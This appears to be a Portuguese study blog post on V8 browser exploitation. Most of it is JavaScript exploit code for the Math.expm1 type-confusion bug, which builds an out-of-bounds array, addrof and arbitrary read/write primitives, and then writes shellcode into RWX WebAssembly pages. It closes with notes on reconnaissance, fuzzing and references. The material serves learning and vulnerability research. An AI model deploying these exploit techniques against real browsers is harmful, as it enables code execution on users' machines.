Usaremos a para performar o nosso OOB access, enquanto que o objs contém o “ponteiro” para o objeto que descobriremos o endereço - utilizando o addrof. Quando atribuimos o objeto a uma propriedade de B(objs) que queremos descobrir o valor para objs.obj o que é guardado no local é o endereço que o Obj está na memória. Assim, utilizamos o OOB de A para ler a célula como double ( porque A é um array de double) e depois convertemos para int64

The fakeobj primitive is symmetric. We encode the object’s address as a double, then use the OOB on A to store it into B’s memory: now B’s property contains a reference to the fake object, which we can return.

A ideia aqui é, através de OOB no ‘a’ corromperemos o length do nosso array OOB arrs, permitindo assim que acessemos todos os objetos da memória (dentro do novo tamanho). Utilizamos o OOB do arrs pra acessar nosso objs e descobrir o endereço da memoria do objeto da propriedade obj. and OOB to the victim buffer to implement arbitrary read/write. We won’t need fakeobj.

Como podemos ver na imagem, e como também ja foi comentado antes, cada Array no Javascript é representado por duas partes na heap; JSArray (com os elementos do array real) FixedArray(com as características doArray)

  1. utilizamos o OOB array (a) original para corromper o length do arrs array
  2. Agora temos OOB access a todos os outros objetos

Foram utilizados alguns truques para localizar os arrays e objetos dinamicamente na memoria

  1. tamanho fixo para o array original de 2 (scanning the memory for the value 2 using the origin OOB)
  2. Os elementos do arrs (0.4 and 0.5) vitima serão utilizados como markers, para distinguir se estamos no FixedArray ou JSArray(esse que queremos corromper)

Depois de corrompido o array OOB, utilizamos a propriedade do ‘objs’ para fazer o addrof e descobrir a posição de determinado objeto na memória.

Utilizamos nosso acesso OOB para sobrescrever o victim buffer, mudando seu backing pointer para apontar para o que queremos executar.

objs.push({marker: 0x41414141, obj: {}}); // victim object, inline properties para pegarmos o endereço
bufs.push(new ArrayBuffer(0x41)); // victim buffer

Ainda, para acharmos os objetos dinamicamente utilizamos alguns markers/sinalizadores, o arraybuffer de tamanho 0x41 e o objs.marker = 0x414141

Implementando


let arrs, // OOB AARAY
    objs, // Victim Object
    bufs; // Victim Buffer


let o = {mz: -0}; // object prepared for scape analysis
let b = Object.is(Math.expm1(x), o.mz); // triggering bug

// aloca oos objs e os marks
let a = [0.1, 0.2, 0.3, 0.4]; // origin array
arrs.push([0.4, 0.5]); // OOB array
objs.push({marker: 0x41414141, obj: {}}); // victim object
bufs.push(new ArrayBuffer(0x41)); // victim buffer


/** procurando pelo OOB array **/
let new_size = (new Int64("7fffffff00000000")).asDouble() // asDouble porque o array que é alterado é de doubles

for (let i = 4; i < 20; i++) {
    let val = a[b*i];  // se b = false , a[0], se não, out of bounds suceeeded
    let is_backing = a[b*(i+1)] === 0.4;  // usamos isso pra saber se realmente estamos no, se true ta no fixed array 
    // pela imagem a baixo vemos o porque do +1 no FixedArray
    let orig_size = Int64.fromDouble(val).toString();  // orig_size tem que ser igual a 2
    let good = (orig_size === "0x0000000200000000" && !is_backing);   // good = true significa que estamos no JSArray que queremos
    a[b*i*good] = new_size;  // corrompendo o tamanho do fixed array
    if (good)
        break;
}


/* Encontrando o array que acabamos de corromper o tamanho*/
let oob_arr = null;

for (let i = 0; i < arrs.length; i++) {

    // arrs.length grande, checamos cada elemento do array 
    // para descobrir qual está foi corrompido e 
    // guardamos a referencia para esse objeto em oob_arr
    
    if (arrs[i].length !== 2) {
        oob_arr = arrs[i];
        break;
    }
}
// achando o endereço do objeto da  vitima (addrof)
// e mudando o marker
let victim_obj = null;
let victim_obj_idx_obj = null;
for (let i = 0; i < 100; i++) {
    let val = Int64.fromDouble(oob_arr[i]).toString();
    
    if (val === "0x4141414100000000") {
        // uma vez achado o objeto_vitima
        
        oob_arr[i] = (new Int64("4242424200000000")).asDouble();
        victim_obj_idx_obj = i + 1;
        break;
    }
}

// agora procuramos o objeto da vitima
for (let i = 0; i < objs.length; i++) {
    if (objs[i].marker == 0x42424242) {
        victim_obj = objs[i];
        break;
    }
}

Agora, para achar o buffer alvo utilizaremos a mesma estrátégia anterior de ir percorrendo o oob, só que procuraremos pelo lenght 0x41 e mudaremos o tamanho.

let victim_buf = null;
let victim_buf_idx_ptr = null;

for (let i = 0; i < 100; i++) {
    let val = Int64.fromDouble(oob_arr[i]).toString();
    if (val === "0x0000000000000041") {  // achou o tamanho
        oob_arr[i] = (new Int64("7fffffff")).asDouble();  // novo tamanho
        victim_buf_idx_ptr = i + 1;
        break;
    }
}

Para achar o buffer vítima, procuramos tudo na memória com o tamanho que setamos antes ( que é diferende de 0x41)

for (let i = 0; i < bufs.length; i++) {
    if (bufs[i].byteLength !== 0x41) {
        victim_buf = bufs[i];
        break;
    }
}

addrof:


addrof(obj) {
    victim_obj.obj = obj;
    return Int64.fromDouble(oob_arr[victim_obj_idx_obj]);  // indice achado anteriormente para o objeto da vitima
}

read/write:

read(addr, size) {
    oob_arr[victim_buf_idx_ptr] = addr.asDouble();
    let a = new Uint8Array(victim_buf, 0, size);
    return Array.from(a);
},
write(addr, bytes) {
    oob_arr[victim_buf_idx_ptr] = addr.asDouble();
    let a = new Uint8Array(victim_buf);
    a.set(bytes);
}

Tanto a primeira linha do read quanto a do write servem para fazer o obj apontar para o victim buffer, Depois criam um Uint8Array no ArrayBuffer para acessar a memória como Bytes e performar read/write;

WASM

Como comentado bem anteriormente (#JIT), no começo as funções JITed eram salvas em página com permissao RWX (Read,Write,eXecute)- V8’s JIT code pages had RWX permissions- o que nos permitia sobrescrever uma dessas funções e apenas chamá-la depois - utilizariamos o addrOf para obter o endereço de uma função, sobrescreveriamos a função com o nosso shellcode. Como medida de segurança as funções javascript que são JITed não possuem mais permissao RWX, o que nos deixaria de mãos atadas. Contudo, a v8 atualmente compila outra linguagem que ainda as páginas com RWX, o que nos permite replicar o mesmo processo descrito anteriormente só que agora com WebAssembly (Its write-protect flag is false by default, so compiled WebAssembly code is RWX.).

let wasm_code = new Uint8Array([...]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports.function_name;
let f_addr = prims.addrof(f);

let shellcode = [0xcc, 0x48, 0xc7, 0xc0, 0x37, 0x13, 0x00, 0x00];
prims.write(code_addr, shellcode);
f();

Referencias

Ned Williamson, Saello,…

35C3 - The Layman’s Guide to Zero-Day Engineering

JavaScriptCore, the WebKit JS implementation

https://v8.dev/blog/ignition-interpreter

https://marcradziwill.com/blog/mastering-javascript-high-performance/#engine https://codeburst.io/node-js-v8-internals-an-illustrative-primer-83766e983bf6

https://engineering.linecorp.com/en/blog/v8-hidden-class/ https://newshimalaya.com/2020/09/07/easy-bugs-with-advanced-exploits/ ** https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/ https://www.jaybosamiya.com/blog/2019/01/02/krautflare/

Behind the scenes

Apenas algumas anotações que fiz anteriormente ao fechamento do escopo do trabalho, acredito que são bons tópicos que continuarei pesquisando sobre.

Finding and exploiting vulnerabilities

Parte 0: Reconhecimento

Sobre a [história do JavaScriptCore e seus internals ](JavaScriptCore, the WebKit JS implementation)

Uma das principais coisas que aprendi nessa etapa foi como coletar informação sobre um possível alvo.

1. Aprender a terminologia

Durante muitas vezes ao nos depararmos com novos temas e topicos nossa ideia inicial é abrir vários links e querer absover tudo de cada um deles. O downfall dessa estratégia é que isso leva tempo, muito mais do que o que desejariamos, e não é o adequado para o contato inicial.

O foco é aprender a terminologia, parafraseando uma parte da palestra da ret2.io, siga os passos:

​ 1.1 Pesquise no google: “apple safari exploit writeup”

​ 1.2 Abra todas os links que achar util, até, pelo menos a quinta pagina.

​ 1.3 Abra as sugestões de pesquisa que o google sugere e faça o passo 1.2 novamente.

Da pra imaginar que a quantidade de dados obtida é enorme, e ler para absorver tudo isso talvez nao seja tão vital. A ideia, então, é voce ler o maximo possível não para saber tudo, mas sim para ter conhecimento, aprender as terminologias da área e ter uma visão mais generalista.

2. Pesquisar por CVEs

Durante a pesquisa e a palestra dados interessantes são apresentados, boa parte dos CVEs nas aplicações se utilizam de recursos semelhantes. No caso da JSC, varios utilizaram a mesma forma para escapar da sandbox. Além disso, ler ''NOMEexploit writeup” é uma ótima forma de entender como recursos peculiares da aplicação funcionam e são explorados.

3. Follow the data flow

É isso ai mesmo, uma boa forma de por onde começar é mapeando a por onde os dados entram, são tratados,…

4. Não é uma jornada linear

5. **Melhorar em auditar ou fuzzear **

Uma das recomendações do Ned Williamson é ler reports existentes e tentar pensar por sí próprio como teria chegado achado aquela vulnerabilidade auditando, ou fuzzeando.

Parte 1: FUZZING

Das técnicas para procurar vulnerabilidades em software, podemos citar auditar código e fuzzing. A auditoria pode nos levar a bugs mais complexos, contudo, nao é simples, como pegar uma base com 30k LOC e auditar cada possível branch, input,….

Através do fuzzing podemos automatizar os testes.

image-20200704145748957https://youtu.be/Wy7qY5ms3qY?t=125

Fuzzing é a IA dos casos de teste.

Basicamente fuzzing pode ser definido como fornecer dados de entrada, esses dados sao mutados e fornecidos ao programa, os dados mutados que aumentam a quantidade de codigo coberto sao mantidos e evoluidos e os que nao aumentam descartados. Ai entra o harnessing, que a parte de instrumentar o source code com instruções que nos ajudam a tracear onde o programa parou. Temos também o ASAN que completa as partes da memória, pra saber se tem algum acesso invalido.

TODO ESSE PARAGRAFO ACIMA MERECE SER MELHOR DESCRITO

Type Confusion bug (o que é ?)

Materiais de referencia

Terminologias

Type Confusion, Sea of Nodes, TurboFan, JIT, Compiler, AdressSanitizer, fuzzing, JSCore,Butterfly,Awayt,Heap,UAF

Ideia principal: Exploiting Browsers and destroying consoles

Material do liveoverflow sobre browser exploitation

Bottom-up abordagem usada ( v8 -> chrome)

  • componentes da arquitetura do v8
  • turbolizer (debugging)
  • chromium arquitetura
  • type confusion bugs (essa parte volta pro exploitation)
  • fuzzing (explicar melhor)
  • Isolation (addded 02/12/2020)
  • Chrome Internals (addded 02/12/2020)
  • Sandbox escape (addded 02/12/2020)